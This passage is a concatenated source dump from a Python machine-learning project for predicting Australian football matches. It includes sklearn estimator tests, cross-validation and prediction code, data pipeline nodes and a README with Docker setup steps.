col not in transformed_data_frame ][:2] self.selector.cols_to_keep = cols_to_keep transformed_data_frame = self.selector.fit_transform(self.X, self.y) for col in cols_to_keep: self.assertIn(col, transformed_data_frame.columns) with self.subTest("empty labels argument"): self.selector = CorrelationSelector() with self.assertRaisesRegex(AssertionError, r"Need labels argument"): self.selector.fit_transform(self.X, pd.Series(dtype="object")) class TestEloRegressor(TestCase): def setUp(self): self.data_frame = ( pd.read_json(os.path.join(BASE_DIR, "src/tests/fixtures/elo_data.json")) .set_index(["home_team", "year", "round_number"], drop=False) .rename_axis([None, None, None]) .sort_index() ) self.X = self.data_frame self.regressor = EloRegressor() def test_predict(self): X_train = self.X.query("year == 2014") X_test = self.X.query("year == 2015") # We don't use y when fitting the Elo model, so it can be just filler y = np.zeros(len(X_train)) self.regressor.fit(X_train, y) predictions = self.regressor.predict(X_test) self.assertIsInstance(predictions, np.ndarray) with self.subTest("when there's a gap between match rounds"): invalid_X_test = X_test.query("round_number > 5") # Need to refit, because predict updates the state of the Elo ratings self.regressor.fit(X_train, y) with self.assertRaises(AssertionError): self.regressor.predict(invalid_X_test) class TestTeammatchToMatchConverter(TestCase): def setUp(self): self.data = ( CandyStore(seasons=(2017, 2018)) .match_results() .pipe(match.clean_match_data) .pipe(common.convert_match_rows_to_teammatch_rows) ) self.match_cols = ["date", "year", "round_number"] self.transformer = TeammatchToMatchConverter(match_cols=self.match_cols) def test_transform(self): self.transformer.fit(self.data, None) transformed_data = self.transformer.transform(self.data) self.assertEqual(len(self.data), len(transformed_data) * 2) self.assertIn("home_team", transformed_data.columns) self.assertIn("away_team", transformed_data.columns) self.assertNotIn("oppo_team", transformed_data.columns) with self.subTest("when a match_col is missing"): invalid_data = self.data.drop("date", axis=1) with self.assertRaisesRegex(AssertionError, r"required columns"): self.transformer.transform(invalid_data) with self.subTest("when a match-index column is missing"): for match_col in MATCH_INDEX_COLS: invalid_data = self.data.drop(match_col, axis=1) with self.assertRaisesRegex(AssertionError, r"required columns"): self.transformer.transform(invalid_data) class TestColumnDropper(TestCase): def setUp(self): self.data = ( CandyStore(seasons=(2017, 2018)) .match_results() .pipe(match.clean_match_data) .pipe(common.convert_match_rows_to_teammatch_rows) ) self.cols_to_drop = ["team", "oppo_score"] self.transformer = ColumnDropper(cols_to_drop=self.cols_to_drop) def test_transform(self): self.transformer.fit(self.data, None) transformed_data = self.transformer.transform(self.data) for column in self.cols_to_drop: self.assertNotIn(column, transformed_data.columns) class TestDataFrameConverter(TestCase): def setUp(self): self.data = ( CandyStore(seasons=(2017, 2018)) .match_results() .pipe(match.clean_match_data) ) self.transformer = DataFrameConverter( columns=self.data.columns, index=self.data.index ) def test_fit(self): self.assertEqual(self.transformer, self.transformer.fit(self.data)) def test_transform(self): transformed_data = self.transformer.transform(self.data.to_numpy()) self.assertIsInstance(transformed_data, pd.DataFrame) column_set = set(transformed_data.columns) & set(self.data.columns) self.assertEqual(column_set, set(self.data.columns)) index_set = set(transformed_data.index) & set(self.data.index) self.assertEqual(index_set, set(self.data.index)) with self.subTest("when index length doesn't match data shape"): self.transformer.set_params(index=self.data.iloc[2:, :].index) with self.assertRaisesRegex( AssertionError, "X must have the same number of rows" ): self.transformer.transform(self.data.to_numpy()) with self.subTest("when column length doesn't match data shape"): self.transformer.set_params( index=self.data.index, columns=self.data.iloc[:, 2:].columns ) with self.assertRaisesRegex( AssertionError, "X must have the same number of columns" ): self.transformer.transform(self.data.to_numpy()) class TestKerasClassifier(TestCase): @patch( "augury.hooks.ProjectHooks.register_pipelines", {"fake": create_fake_pipeline()} ) def setUp(self): data = FakeEstimatorData() _X_train, _y_train = data.train_data self.X_train = _X_train.iloc[:, N_FAKE_CATS:] self.y_train = (_y_train > 0).astype(int) _X_test, _y_test = data.test_data self.X_test = _X_test.iloc[:, N_FAKE_CATS:] self.classifier = KerasClassifier(self.model_func, epochs=1) def test_predict(self): self.classifier.fit(self.X_train, self.y_train) predictions = self.classifier.predict(self.X_test) self.assertIsInstance(predictions, np.ndarray) self.assertEqual(predictions.shape, (len(self.X_test),)) self.assertTrue(np.all(np.logical_or(predictions == 0, predictions == 1))) def test_predict_proba(self): self.classifier.fit(self.X_train, self.y_train) predictions = self.classifier.predict_proba(self.X_test) self.assertIsInstance(predictions, np.ndarray) self.assertEqual(predictions.shape, (len(self.X_test), 2)) self.assertTrue(np.all(np.logical_and(predictions >= 0, predictions <= 1))) def test_set_params(self): self.classifier.set_params(epochs=2) self.assertEqual(self.classifier.epochs, 2) def test_history(self): self.classifier.fit(self.X_train, self.y_train) self.assertIsInstance(self.classifier.history, defaultdict) def model_func(self, **_kwargs): N_FEATURES = len(self.X_train.columns) stats_input = keras.layers.Input( shape=(N_FEATURES,), dtype="float32", name="stats" ) layer_n = keras.layers.Dense(10, input_shape=(N_FEATURES,), activation="relu")( stats_input ) dropout_n = keras.layers.Dropout(0.1)(layer_n) output = keras.layers.Dense(2, activation="softmax")(dropout_n) model = keras.models.Model(inputs=stats_input, outputs=output) model.compile(loss="sparse_categorical_crossentropy", optimizer="adam") return lambda: model @pytest.fixture def data(): return FakeEstimatorData() @pytest.fixture def estimator(): session = get_current_session() assert session is not None context = session.load_context() return context.catalog.load("fake_estimator") def test_match_accuracy_scorer(data, estimator): X_test, y_test = data.test_data match_acc = match_accuracy_scorer(estimator, X_test, y_test) assert isinstance(match_acc, float) assert match_acc > 0 def test_year_cv_split(data): max_train_year = max(data.train_year_range) n_splits = 5 year_range = (max_train_year - n_splits, max_train_year) X_train, _ = data.train_data cv_splits = year_cv_split(X_train, year_range) assert isinstance(cv_splits, list) assert len(cv_splits) == n_splits for split in cv_splits: assert isinstance(split, tuple) assert len(split) == 2 train, test = split assert not train[test].any() # We use FakeEstimator to generate predictions for #test_bits_scorer, # and we don't care if it doesn't converge @pytest.mark.filterwarnings("ignore:lbfgs failed to converge") def test_bits_scorer_with_regressor(data, estimator): bits = bits_scorer(estimator, *data.train_data) assert isinstance(bits, float) @pytest.mark.filterwarnings("ignore:lbfgs failed to converge") def test_bits_scorer_with_classifier(data): classifier = LogisticRegression() _X_train, y_train = data.train_data # There are six categorical features in fake data, and we don't need # to bother with encoding them X_train = _X_train.iloc[:, N_FAKE_CATS:] classifier.fit(X_train, y_train) class_bits = bits_scorer(classifier, X_train, y_train) assert isinstance(class_bits, float) def test_bits_objective(): y_true = np.random.randint(0, 2, 10) y_pred = np.random.random(10) grad, hess = bits_objective(y_true, y_pred) assert isinstance(grad, np.ndarray) assert grad.dtype == "float64" assert isinstance(hess, np.ndarray) assert hess.dtype == "float64" @pytest.mark.parametrize("invalid_preds", [np.ones(5), np.zeros(5)]) def test_handling_of_invalid_values(invalid_preds): y_true = np.random.randint(0, 2, 10) y_pred = np.random.random(10) warnings.filterwarnings( "error", category=RuntimeWarning, message="divide by zero encountered in true_divide", ) y_pred[:5] = invalid_preds # Will raise a divide-by-zero error if a y_pred value of 1 or 0 gets through, # so we don't need to assert anything bits_objective(y_true, y_pred) <file_sep>/src/augury/sklearn/model_selection.py """Functions and classes for cross-validation and parameter tuning.""" def year_cv_split(X, year_range): """Split data by year for cross-validation for time-series data. Makes data from each year in the year_range a test set per split, with data from all earlier years being in the train split. """ return [ ((X["year"] < year).to_numpy(), (X["year"] == year).to_numpy()) for year in range(*year_range) ] <file_sep>/src/augury/ml_estimators/__init__.py """ML model classes and associated data classes.""" from .stacking_estimator import StackingEstimator from .confidence_estimator import ConfidenceEstimator from .basic_estimator import BasicEstimator <file_sep>/src/augury/pipelines/nodes/__init__.py """Functions to be used in Kedro nodes.""" <file_sep>/src/augury/model_tracking.py """Helper functions for scoring ML models and displaying performance metrics.""" from typing import Union, List, Dict, Callable from sklearn.base import BaseEstimator from sklearn.model_selection import cross_validate from sklearn.metrics import get_scorer from sklearn.pipeline import Pipeline import numpy as np import pandas as pd import matplotlib.pyplot as plt import seaborn as sns from augury.ml_data import MLData from augury.sklearn.model_selection import year_cv_split from augury.sklearn.metrics import match_accuracy_scorer from augury.ml_estimators.base_ml_estimator import BaseMLEstimator from augury.settings import CV_YEAR_RANGE, SEED np.random.seed(SEED) GenericModel = Union[BaseEstimator, BaseMLEstimator, Pipeline] SKLearnScorer = Callable[ [BaseEstimator, Union[pd.DataFrame, np.ndarray], Union[pd.DataFrame, np.ndarray]], Union[float, int], ] def score_model( model: GenericModel, data: MLData, cv_year_range=CV_YEAR_RANGE, scoring: Dict[str, SKLearnScorer] = { "neg_mean_absolute_error": get_scorer("neg_mean_absolute_error"), "match_accuracy": match_accuracy_scorer, }, n_jobs=None, ) -> Dict[str, np.ndarray]: """ Perform cross-validation on the given model. This uses a range of years to create incrementing time-series folds for cross-validation rather than random k-folds to avoid data leakage. Params ------ model: The model to cross-validate. cv_year_range: Year range for generating time-series folds for cross-validation. scoring: Any Scikit-learn scorers that can calculate a metric from predictions. This is in addition to `match_accuracy`, which is always used. n_jobs: Number of processes to use. Returns ------- cv_scores: A dictionary whose values are arrays of metrics per Scikit-learn's `cross_validate` function. """ train_year_range = data.train_year_range assert min(train_year_range) < min(cv_year_range) or len(train_year_range) == 1, ( "Must have at least one year of data before first test fold. Training data " f"only goes back to {min(train_year_range)}, and first test fold is for " f"{min(cv_year_range)}" ) assert max(train_year_range) >= max(cv_year_range), ( "Training data must cover all years used for cross-validation. The last year " f"of data is {max(train_year_range)}, but the last test fold is for " f"{max(cv_year_range)}" ) X_train, _ = data.train_data return cross_validate( model, *data.train_data, cv=year_cv_split(X_train, cv_year_range), scoring=scoring, n_jobs=n_jobs, verbose=2, error_score="raise", ) def graph_tf_model_history(history, metrics: List[str] = []) -> None: """Visualize loss and metric values per epoch during Keras model training. Params ------ history: Keras model history object. metrics: List of metric names that the model tracks in addition to loss. Returns ------- None, but displays the generated charts. """ loss = history.history["loss"] val_loss = history.history["val_loss"] epochs = range(len(loss)) plt.plot(epochs, loss, "bo", label="Training loss") plt.plot(epochs, val_loss, "b", label="Validation loss") plt.title("Training and validation loss") plt.legend() for metric in metrics: plt.figure() metric_train = history.history[metric] metric_val = history.history[f"val_{metric}"] plt.plot(epochs, metric_train, "bo", label=f"Training {metric}") plt.plot(epochs, metric_val, "b", label=f"Validation {metric}") plt.title(f"Training and validation {metric}") plt.legend() plt.show() def _graph_accuracy_scores(performance_data_frame, sort): data = ( performance_data_frame.sort_values("match_accuracy", ascending=False) if sort else performance_data_frame ) plt.figure(figsize=(15, 7)) sns.barplot( x="model", y="match_accuracy", data=data, ) plt.ylim(bottom=0.55) plt.title("Model accuracy for cross-validation\n", fontsize=18) plt.ylabel("Accuracy", fontsize=14) plt.xlabel("", fontsize=14) plt.yticks(fontsize=12) plt.xticks(fontsize=12, rotation=90) plt.legend(fontsize=14) plt.show() def _graph_mae_scores(performance_data_frame, sort): data = ( performance_data_frame.sort_values("mae", ascending=True) if sort else performance_data_frame ) plt.figure(figsize=(15, 7)) sns.barplot(x="model", y="mae", data=data) plt.ylim(bottom=20) plt.title("Model mean absolute error for cross-validation\n", fontsize=18) plt.ylabel("MAE", fontsize=14) plt.xlabel("", fontsize=14) plt.yticks(fontsize=12) plt.xticks(fontsize=12, rotation=90) plt.legend(fontsize=14) plt.show() def graph_cv_model_performance(performance_data_frame, sort=True): """Display accuracy and MAE scores for the given of models.""" _graph_accuracy_scores(performance_data_frame, sort=sort) _graph_mae_scores(performance_data_frame, sort=sort) <file_sep>/src/augury/predictions.py """Generates predictions with the given models for the given inputs.""" from typing import List, Optional, Dict, Union import itertools import pandas as pd import numpy as np from augury.ml_data import MLData from augury.ml_estimators.base_ml_estimator import BaseMLEstimator from augury.types import YearRange, MLModelDict from augury import settings np.random.seed(settings.SEED) PREDICTION_COLS = [ "team", "year", "round_number", "oppo_team", "at_home", "ml_model", ] + [f"predicted_{pred_type}" for pred_type in settings.PREDICTION_TYPES] class Predictor: """Generates predictions with the given models for the given inputs.""" def __init__( self, year_range: YearRange, context: settings.ProjectContext, round_number: Optional[int] = None, train=False, verbose: int = 1, **data_kwargs, ): """Instantiate Predictor object. Params ------ year_range: Year range for which to make predictions (first year inclusive, last year exclusive, per `range` function). context: Kedro context object as defined in settings.ProjectContext. round_number: Round number for which to make predictions. If omitted, predictions are made for entire seasons. train: Whether to train each model on data from previous years before making predictions on a given year's matches. verbose: (1 or 0) Whether to print information while making predictions. data_kwargs: Keyword arguments to pass to MLData on instantiation. """ self.context = context self.year_range = year_range self.round_number = round_number self.train = train self.verbose = verbose self._data = MLData( context=context, train_year_range=(min(year_range),), test_year_range=year_range, **data_kwargs, ) def make_predictions(self, ml_models: List[MLModelDict]) -> pd.DataFrame: """Predict margins or confidence percentages for matches.""" assert any(ml_models), "No ML model info was given." predictions = [ self._make_predictions_by_year(ml_models, year) for year in range(*self.year_range) ] if self.verbose == 1: print("Finished making predictions!") return pd.concat(list(itertools.chain.from_iterable(predictions)), sort=False) def _make_predictions_by_year(self, ml_models, year: int) -> List[pd.DataFrame]: return [self._make_model_predictions(year, ml_model) for ml_model in ml_models] def _make_model_predictions(self, year: int, ml_model) -> pd.DataFrame: if self.verbose == 1: print(f"Making predictions with {ml_model['name']}") loaded_model = self.context.catalog.load(ml_model["name"]) self._data.data_set = ml_model["data_set"] self._data.label_col = ml_model["label_col"] trained_model = self._train_model(loaded_model) if self.train else loaded_model X_test, _ = self._data.test_data assert X_test.size, ( "X_test doesn't have any rows, likely due to no data being available for " f"{year}." ) y_pred = trained_model.predict(X_test) assert not any(np.isnan(y_pred)), ( f"Predictions should never be NaN, but {trained_model.name} predicted:\n" f"{y_pred}." ) data_row_slice = ( slice(None), year, slice(self.round_number, self.round_number), ) model_predictions = ( X_test.assign(**self._prediction_data(ml_model, y_pred)) .set_index("ml_model", append=True, drop=False) .loc[data_row_slice, PREDICTION_COLS] ) assert model_predictions.size, ( "Model predictions data frame is empty, possibly due to a bad row slice:\n" f"{data_row_slice}" ) return model_predictions def _train_model(self, ml_model: BaseMLEstimator) -> BaseMLEstimator: assert max(self._data.train_year_range) <= min(self._data.test_year_range) X_train, y_train = self._data.train_data # On the off chance that we try to run predictions for years that have # no relevant prediction data assert not X_train.empty and not y_train.empty, ( "Some required data was missing for training for year range " f"{self._data.train_year_range}.\n" f"{'X_train is empty' if X_train.empty else ''}" f"{'and ' if X_train.empty and y_train.empty else ''}" f"{'y_train is empty' if y_train.empty else ''}" ) ml_model.fit(X_train, y_train) return ml_model @staticmethod def _prediction_data( ml_model: MLModelDict, y_pred: np.ndarray ) -> Dict[str, Union[np.ndarray, str, float]]: model_pred_type = ml_model["prediction_type"] return { **{ f"predicted_{pred_type}": np.nan for pred_type in settings.PREDICTION_TYPES if pred_type != model_pred_type }, f"predicted_{model_pred_type}": y_pred, "ml_model": ml_model["name"], } <file_sep>/src/tests/fixtures/__init__.py """Data and model fixtures to make tests faster and less flaky.""" from .fake_estimator import FakeEstimator <file_sep>/README.md # Augury ![build](https://github.com/tipresias/augury/workflows/build/badge.svg) [![Maintainability](https://api.codeclimate.com/v1/badges/17a2262d1fe60a36dd4a/maintainability)](https://codeclimate.com/github/tipresias/augury/maintainability) [![Test Coverage](https://api.codeclimate.com/v1/badges/17a2262d1fe60a36dd4a/test_coverage)](https://codeclimate.com/github/tipresias/augury/test_coverage) Jupyter Notebooks and machine-learning service for the Tipresias app ## Running things ### Setup - To manage environemnt variables: - Install [`direnv`](https://direnv.net/) - Add `eval "$(direnv hook bash)"` to the bottom of `~/.bashrc` - Run `direnv allow .` inside the project directory - To build and run the app: `docker-compose up --build` ### Run the app - `docker-compose up` - Navigate to `localhost:8008`. ### Run Jupyter notebook in Docker - If it's not already running, run Jupyter with `docker-compose up notebook`. - The terminal will display something like the following message: ``` notebook_1 | [I 03:01:38.909 NotebookApp] The Jupyter Notebook is running at: notebook_1 | [I 03:01:38.909 NotebookApp] http://(ea7b71b85805 or 127.0.0.1):8888/?token=<PASSWORD> notebook_1 | [I 03:01:38.909 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation). ``` - Copy the URL given and paste it into your browser. - Alternatively, copy just the token from the terminal, navigate your browser to `http://localhost:8888`, and paste the token into the given field. ### Testing #### Run Python tests - `docker-compose run --rm data_science kedro test --no-cov` - Note: Remove `--no-cov` to generate a test-coverage report in the terminal. - Linting: `docker-compose run --rm <python service> pylint --disable=R <python modules you want to lint>` - Note: `-d=R` disables refactoring checks for quicker, less-opinionated linting. Remove that option if you want to include those checks. ### Deploy - `augury` is deployed to Google Cloud via Travis CI. See `scripts/deploy.sh` for specific commands. ## Troubleshooting - When working with some of the larger data sets (e.g. player stats comprise over 600,000 rows), your process might mysteriously die without completing. This is likely due to Docker running out of memory, because the default 2GB isn't enough. At least 4GB is the recommended limit, but you'll want more if you plan on having multiple processes running or multiple Jupyter notebooks open at the same time. <file_sep>/src/tests/unit/data_import/test_betting_data.py # pylint: disable=missing-module-docstring, missing-function-docstring # pylint: disable=missing-class-docstring import os from unittest import TestCase from unittest.mock import patch, mock_open import json from candystore import CandyStore from augury.settings import RAW_DATA_DIR from augury.data_import.betting_data import save_betting_data START_DATE = "2012-01-01" START_YEAR = int(START_DATE[:4]) END_DATE = "2013-12-31" END_YEAR = int(END_DATE[:4]) + 1 N_MATCHES_PER_YEAR = 2 BETTING_DATA_MODULE_PATH = "augury.data_import.betting_data" BETTING_DATA_PATH = os.path.join( RAW_DATA_DIR, f"betting-data_{START_DATE}_{END_DATE}.json" ) class TestBettingData(TestCase): def setUp(self): self.fake_betting_data = CandyStore( seasons=(START_YEAR, END_YEAR) ).betting_odds() @patch(f"{BETTING_DATA_MODULE_PATH}.fetch_betting_data") @patch("builtins.open", mock_open()) @patch("json.dump") def test_save_betting_data(self, _mock_json_dump, mock_fetch_data): mock_fetch_data.return_value = self.fake_betting_data save_betting_data(start_date=START_DATE, end_date=END_DATE, verbose=0) mock_fetch_data.assert_called_with( start_date=START_DATE, end_date=END_DATE, verbose=0 ) open.assert_called_with(BETTING_DATA_PATH, "w", encoding="utf-8") dump_args, _dump_kwargs = json.dump.call_args self.assertIn(self.fake_betting_data, dump_args) <file_sep>/src/augury/pipelines/nodes/common.py """Pipeline nodes for transforming data. Used across different pipelines.""" from typing import Sequence, List, Dict, Any, cast, Callable, Optional, Union from functools import reduce, partial, update_wrapper import re from datetime import timezone import pandas as pd import numpy as np from dateutil import parser from augury.settings import INDEX_COLS from .base import _validate_required_columns, _validate_no_dodgy_zeros DATE_STRING_REGEX = re.compile(r"\d{4}\-\d{2}\-\d{2}") def convert_to_data_frame( *data: List[Dict[str, Any]] ) -> Union[List[pd.DataFrame], pd.DataFrame]: """ Convert JSON data in the form of a list of dictionaries into a data frame. Params ------ data (sequence of list of dictionaries): Data received from a JSON data set. Returns ------- Sequence of pandas.DataFrame """ if len(data) == 0: return pd.DataFrame() data_frames = [pd.DataFrame(datum) for datum in data] # TODO: Quick fix for empty roster data not having a 'date' column. # We should figure out a better way to handle empty data such that # its shape/columns are consistent, but one doesn't occur to me at the moment. for df in data_frames: if "date" in df.columns: df.loc[:, "date"] = pd.to_datetime(df["date"]) return data_frames if len(data_frames) > 1 else data_frames[0] def _combine_data_horizontally(*data_frames: Sequence[pd.DataFrame]): # We need to sort by length (going from longest to shortest), then keeping first # duplicated column to make sure we don't lose earlier values of shared columns # (e.g. dropping match data's 'date' column in favor of the betting data 'date' # column results in lots of NaT values, because betting data only goes back to 2010) sorted_data_frames: List[pd.DataFrame] = sorted(data_frames, key=len, reverse=True) joined_data_frame = pd.concat(sorted_data_frames, axis=1, sort=False) duplicate_columns = joined_data_frame.columns.duplicated(keep="first") combined_data_frame = joined_data_frame.loc[:, ~duplicate_columns].copy() # Due to vagaries in data updates, sometimes the longest data set is missing # the most-recent round which results in blank rows for required columns # like data and round_number. So, we make sure to fill those values # with the data set that has the most-recent data just to be sure. max_date_data_frame = max(sorted_data_frames, key=lambda df: df["date"].max()) for column in set(joined_data_frame.columns[duplicate_columns]): combined_data_frame.loc[:, [column]] = combined_data_frame[column].fillna( max_date_data_frame[column] ) filled_data_frame = combined_data_frame.fillna(0) _validate_no_dodgy_zeros(filled_data_frame) return filled_data_frame def _append_data_frames( acc_data_frame: pd.DataFrame, curr_data_frame: pd.DataFrame ) -> pd.DataFrame: # Assumes the following: # - All data frames have a date column # - Data frames are sorted by date in ascending order # (the data frames themselves, not their rows) # - Data frames have all data for a given date (i.e. all matches played # on a date, not 1 of 3, which would result in missing data) max_accumulated_date = acc_data_frame[ # pylint: disable=unused-variable "date" ].max() sliced_current_data_frame = curr_data_frame.query("date > @max_accumulated_date") return pd.concat([acc_data_frame, sliced_current_data_frame], axis=0, sort=False) def _combine_data_vertically(*data_frames: Sequence[pd.DataFrame]): if len(data_frames) == 1: return data_frames[0] valid_data_frames = [ df for df in cast(Sequence[pd.DataFrame], data_frames) if df.size ] sorted_data_frames = sorted(valid_data_frames, key=lambda df: df["date"].min()) combined_data_frame = reduce(_append_data_frames, sorted_data_frames).fillna(0) _validate_no_dodgy_zeros(combined_data_frame) return combined_data_frame # TODO: Combining vertically vs horizontally are so different that it doesn't make # sense for both to be contained within a single node. Make combine_data_vertically # and combine_data_horizontally their own nodes. def combine_data(axis: int = 0) -> pd.DataFrame: """Concatenate data frames from multiple sources into one data frame. Params ------ data_frames (list of pandas.DataFrame): Data frames to be concatenated. axis (0 or 1, defaults to 0): Whether to concatenate by rows (0) or columns (1). Returns ------- Concatenated data frame. """ assert axis in [0, 1], f"Expected axis to be 0 or 1, but recieved {axis}" if axis == 0: return _combine_data_vertically return _combine_data_horizontally def _filter_by_date( start_date: str, end_date: str, data_frame: pd.DataFrame ) -> pd.DataFrame: REQUIRED_COLS = {"date"} _validate_required_columns(REQUIRED_COLS, data_frame.columns) start_datetime = parser.parse( # pylint: disable=unused-variable start_date ).replace(tzinfo=timezone.utc) end_datetime = parser.parse(end_date).replace( # pylint: disable=unused-variable hour=11, minute=59, second=59, tzinfo=timezone.utc ) return data_frame.query("date >= @start_datetime & date <= @end_datetime") def filter_by_date( start_date: str, end_date: str ) -> Callable[[pd.DataFrame], pd.DataFrame]: """Filter data frames by the given start and end_dates. Params ------ start_date (str, YYYY-MM-DD): Earliest date (inclusive) for match data. end_date (str, YYYY-MM-DD): Latest date (inclusive) for match data. Returns ------- Callable function that filters data frames by the given dates. """ if not DATE_STRING_REGEX.match(start_date) or not DATE_STRING_REGEX.match(end_date): raise ValueError( f"Expected date string parameters start_date ({start_date}) and " f"end_date ({end_date}) to be of the form YYYY-MM-DD." ) return update_wrapper( partial(_filter_by_date, start_date, end_date), _filter_by_date ) def _replace_col_names(team_type: str, oppo_team_type: str) -> Callable[[str], str]: return lambda col_name: ( col_name.replace(f"{team_type}_", "").replace(f"{oppo_team_type}_", "oppo_") ) def _team_data_frame(data_frame: pd.DataFrame, team_type: str) -> pd.DataFrame: is_home_team = team_type == "home" if is_home_team: oppo_team_type = "away" at_home_col = np.ones(len(data_frame)) else: oppo_team_type = "home" at_home_col = np.zeros(len(data_frame)) return ( data_frame.rename(columns=_replace_col_names(team_type, oppo_team_type)) .assign(at_home=at_home_col) .set_index(INDEX_COLS, drop=False) # Renaming index cols 'None' to avoid warnings about duplicate column names .rename_axis([None] * len(INDEX_COLS)) ) def convert_match_rows_to_teammatch_rows( match_row_data_frame: pd.DataFrame, ) -> pd.DataFrame: """ Reshape data frame from one match per row to one team-match combination per row. This results in a data frame with two rows per match, one each for the home and away team. Params ------ match_row_data_frame (pandas.DataFrame): Data frame to be transformed. Returns ------- pandas.DataFrame """ REQUIRED_COLS: List[str] = [ "home_team", "away_team", "year", "round_number", "date", ] _validate_required_columns(REQUIRED_COLS, match_row_data_frame.columns) team_data_frames = [ _team_data_frame(match_row_data_frame, "home"), _team_data_frame(match_row_data_frame, "away"), ] return ( pd.concat(team_data_frames, join="inner") .sort_values("date", ascending=True) # Various finals matches have been draws and replayed, # and sometimes home/away is switched requiring us to drop duplicates # at the end. # This eliminates some matches from Round 15 in 1897, because they # played some sort of round-robin tournament for finals, but I'm # not too worried about the loss of that data. .drop_duplicates(subset=INDEX_COLS, keep="last") .drop("match_id", axis=1, errors="ignore") .sort_index() ) def _validate_no_duplicated_columns(data_frame: pd.DataFrame) -> None: are_duplicate_columns = data_frame.columns.duplicated() assert not are_duplicate_columns.any(), ( "The data frame with 'oppo' features added has duplicate columns." "The offending columns are: " f"{data_frame.columns[are_duplicate_columns]}" ) def _oppo_features(data_frame: pd.DataFrame, cols_to_convert) -> Optional[pd.DataFrame]: if not any(cols_to_convert): return None oppo_cols = {col_name: f"oppo_{col_name}" for col_name in cols_to_convert} oppo_col_names = oppo_cols.values() column_translations = {**{"oppo_team": "team"}, **oppo_cols} return ( data_frame.reset_index(drop=True) .loc[:, ["year", "round_number", "oppo_team"] + list(cols_to_convert)] # We switch out oppo_team for team in the index, # then assign feature as oppo_{feature_column} .rename(columns=column_translations) .set_index(INDEX_COLS) .sort_index() .loc[:, list(oppo_col_names)] ) def _cols_to_convert_to_oppo( data_frame: pd.DataFrame, match_cols: List[str] = [], oppo_feature_cols: List[str] = [], ) -> List[str]: if any(oppo_feature_cols): return oppo_feature_cols return [col for col in data_frame.columns if col not in match_cols] def _add_oppo_features_node( data_frame: pd.DataFrame, match_cols: List[str] = [], oppo_feature_cols: List[str] = [], ) -> pd.DataFrame: cols_to_convert = _cols_to_convert_to_oppo( data_frame, match_cols=match_cols, oppo_feature_cols=oppo_feature_cols ) REQUIRED_COLS: List[str] = INDEX_COLS + ["oppo_team"] + cols_to_convert _validate_required_columns(REQUIRED_COLS, data_frame.columns) transform_data_frame = ( data_frame.copy() .set_index(INDEX_COLS, drop=False) .rename_axis([None] * len(INDEX_COLS)) .sort_index() ) concated_data_frame = pd.concat( [transform_data_frame, _oppo_features(transform_data_frame, cols_to_convert)], axis=1, ) _validate_no_duplicated_columns(concated_data_frame) return concated_data_frame def add_oppo_features( match_cols: List[str] = [], oppo_feature_cols: List[str] = [] ) -> Callable[[pd.DataFrame], pd.DataFrame]: """Calculate team-based features for opposition teams and append them to the data. The team columns to use for creating oppo columns are based on match_cols (non-team-specific columns to ignore) or oppo_feature_cols (team-specific features to add 'oppo' versions of). Including both column arguments will raise an error. Params ------ match_cols (list of strings): Names of columns to ignore (calculates oppo features for all columns not listed). oppo_feature_cols (list of strings): Names of columns to add oppo features of (ignores all columns not listed) Returns ------- Function that takes pandas.DataFrame and returns another pandas.DataFrame with 'oppo_' columns added. """ if any(match_cols) and any(oppo_feature_cols): raise ValueError( "To avoid conflicts, you can't include both match_cols " "and oppo_feature_cols. Choose the shorter list to determine which " "columns to skip and which to turn into opposition features." ) return update_wrapper( partial( _add_oppo_features_node, match_cols=match_cols, oppo_feature_cols=oppo_feature_cols, ), _add_oppo_features_node, ) def finalize_data( data_frame: pd.DataFrame, index_cols: List[str] = INDEX_COLS ) -> pd.DataFrame: """Perform final data cleaning after all other data transformation steps. Params ------ data_frame (pandas.DataFrame): Data frame that has been cleaned & transformed. Returns ------- pandas.DataFrame that's ready to be fed into a machine-learning model. """ final_data_frame = ( data_frame.astype({"year": int}) .fillna(0) .set_index(index_cols, drop=False) .rename_axis([None] * len(index_cols)) .sort_index() ) _validate_no_dodgy_zeros(final_data_frame) return final_data_frame def _sort_data_frame_columns_node( category_cols: List[str], data_frame: pd.DataFrame ) -> pd.DataFrame: if category_cols is None: numeric_data_frame = data_frame.select_dtypes( include=["number", "datetimetz", "datetime"] ).fillna(0) category_data_frame = data_frame.drop(numeric_data_frame.columns, axis=1) else: category_data_frame = data_frame[category_cols] numeric_data_frame = data_frame.drop(category_data_frame.columns, axis=1) sorted_data_frame = pd.concat([category_data_frame, numeric_data_frame], axis=1) assert set(data_frame.columns) == set( sorted_data_frame.columns ), "Sorting data frames should not add or subtract columns." return sorted_data_frame # TODO: This is for sorting columns in preparation for the ML pipeline. # It should probably be at the start of that pipeline instead of at the end of the data # pipeline def sort_data_frame_columns( category_cols: Optional[List[str]] = None, ) -> Callable[[pd.DataFrame], pd.DataFrame]: """Sort data frame columns such that categories are grouped together on the left. Params ------ category_cols: Explicitly define category columns to put on the left. If omitted, category columns are identified by their dtype not being 'number' or a type of 'datetime'. """ return update_wrapper( partial(_sort_data_frame_columns_node, category_cols), _sort_data_frame_columns_node, ) def clean_full_data(*data_frames: pd.DataFrame) -> pd.DataFrame: """Clean up data frames created from 'final_<pipeline>_data' JSON files.""" # Need to convert dates from string to datetime for later # calculations/comparisons return [ data_frame.assign(date=pd.to_datetime(data_frame["date"])).set_index( INDEX_COLS, drop=False ) for data_frame in data_frames ] <file_sep>/.coveragerc [report] fail_under=0 show_missing=True exclude_lines = pragma: no cover raise NotImplementedError <file_sep>/notebooks/src/data/fitzroy_data.py import sys import math from augury.settings import BASE_DIR if BASE_DIR not in sys.path: sys.path.append(BASE_DIR) from augury.data_import import FitzroyDataImporter from augury.data_processors import TeamDataStacker, FeatureBuilder from augury.data_processors.feature_functions import ( add_shifted_team_features, add_result, add_cum_percent, add_cum_win_points, add_ladder_position, add_win_streak, ) from augury.data_processors.feature_calculation import ( feature_calculator, calculate_rolling_rate, ) COL_TRANSLATIONS = { "home_points": "home_score", "away_points": "away_score", "margin": "home_margin", "season": "year", } INDEX_COLS = ["team", "year", "round_number"] EARTH_RADIUS = 6371 CITIES = { "Adelaide": {"state": "SA", "lat": -34.9285, "long": 138.6007}, "Sydney": {"state": "NSW", "lat": -33.8688, "long": 151.2093}, "Melbourne": {"state": "VIC", "lat": -37.8136, "long": 144.9631}, "Geelong": {"state": "VIC", "lat": 38.1499, "long": 144.3617}, "Perth": {"state": "WA", "lat": -31.9505, "long": 115.8605}, "Gold Coast": {"state": "QLD", "lat": -28.0167, "long": 153.4000}, "Brisbane": {"state": "QLD", "lat": 